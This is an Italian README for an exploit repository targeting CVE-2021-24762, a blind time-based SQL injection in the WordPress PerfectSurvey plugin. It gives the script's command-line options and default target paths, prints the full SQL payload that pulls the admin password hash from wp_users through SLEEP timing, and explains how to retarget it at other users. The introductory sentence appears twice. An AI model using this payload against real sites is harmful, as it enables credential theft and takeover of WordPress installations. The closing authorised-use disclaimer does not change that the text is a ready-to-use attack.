
Questo repository mostra un exploit per CVE-2021-24762. Si tratta di un exploit Blind SQLi che, con configurazione predefinita, estrae la password dell'amministratore.
Questo repository mostra un exploit per CVE-2021-24762. Si tratta di un exploit di SQL Injection Blind che, nella configurazione predefinita, recupera la password dell'amministratore.
Mentre facevo un laboratorio, basato su WordPress con il plugin PerfectSurvey, mi sono imbattuto in una vulnerabilità SQL. Gli unici PoC disponibili che ho trovato erano basati su sqlmap e non funzionavano correttamente nell'ambiente su cui stavo lavorando (c'erano molti problemi aggiuntivi, ad esempio l'applicazione restituiva 404, i timeout variavano troppo e altri problemi. Quindi ho creato questo per sfruttare il laboratorio.
____ _ ___ ____
/ ___| / \ |_ _| / ___|
| | / _ \ | | \___ \
| |___ / ___ \ | | __ ) |
\____|/_/ \_\ |___| |____/
CAIS - Inteligência em Cibersegurança
Exploit for: CVE-2021-24762
usage: exploit_cve-2021-24762.py [-h] [-u URL] [-p PATH] [-d DELAY] [-t TIMEOUT] [-c CHARSET] [-m MAX_LEN] [-v]
Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it
options:
-h, --help show this help message and exit
-u, --url URL Base URL (default: http://192.168.10.10)
-p, --path PATH path (default: /wp-admin/admin-ajax.php)
-d, --delay DELAY delay in seconds (default: 30)
-t, --timeout TIMEOUT
timeout in seconds (default: delay + 15)
-c, --charset CHARSET
charset to be used (default: alnum + ./$_-@)
-m, --max-len MAX_LEN
maximum length (default: 20)
-v, --verbose activates log debugging
Lo script Python riceve i parametri sopra indicati. Nel caso non vengano passati, lo script viene eseguito con i suoi valori predefiniti.
Idealmente, dovrai passare almeno l'URL. Fallo con -u o --url. Probabilmente gli altri parametri funzioneranno con i valori predefiniti.
Nella configurazione predefinita, ottiene l'hash della password dall'utente admin. Questa configurazione è applicata nella variabile payload, nel valore di user_login:
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"
Nel caso tu abbia bisogno di trovare l'hash per un altro utente, modifica "0x61646d696e" (admin) secondo le tue esigenze.
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"Uso riservato — Questo repository contiene contenuti sensibili destinati esclusivamente a un uso etico e responsabile. Ricorda che devi avere l'autorizzazione scritta dal proprietario del sistema che stai testando. Qualsiasi uso al di fuori di questo ambito non è consentito e ti verrà addebitato (Vuoi finire in prigione?).
exploit_cve-2021-24762 — Exploit.README.ME — Questo file.2025-10-10 — c4cnm — Creazione e modifiche iniziali
GNU General Public License v3 (GPL)